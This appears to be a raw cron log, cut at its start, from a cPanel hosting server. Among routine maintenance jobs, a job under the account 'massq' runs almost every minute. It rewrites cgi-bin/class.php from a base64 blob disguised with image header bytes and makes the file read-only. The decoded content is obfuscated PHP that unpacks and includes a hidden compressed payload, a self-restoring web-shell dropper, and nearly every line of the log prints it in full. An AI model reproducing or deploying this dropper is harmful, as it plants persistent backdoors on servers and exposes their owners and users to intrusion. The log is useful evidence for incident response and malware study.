7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:40:01 server CROND[7925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:40:01 server CROND[7926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:40:01 server CROND[7928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:40:01 server CROND[7927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 05:41:01 server CROND[8052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:42:01 server CROND[8218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:42:01 server CROND[8219]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 05:43:01 server CROND[8285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:44:01 server CROND[8344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:45:01 server CROND[8412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:45:01 server CROND[8413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:45:01 server CROND[8414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:46:01 server CROND[8544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:47:01 server CROND[8702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:48:01 server CROND[8758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:49:01 server CROND[8821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:50:01 server CROND[8880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:50:01 server CROND[8881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 05:50:01 server CROND[8883]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:50:01 server CROND[8882]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 05:50:01 server CROND[8887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:51:01 server CROND[9002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:52:01 server CROND[9070]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr 10 05:52:01 server CROND[9071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
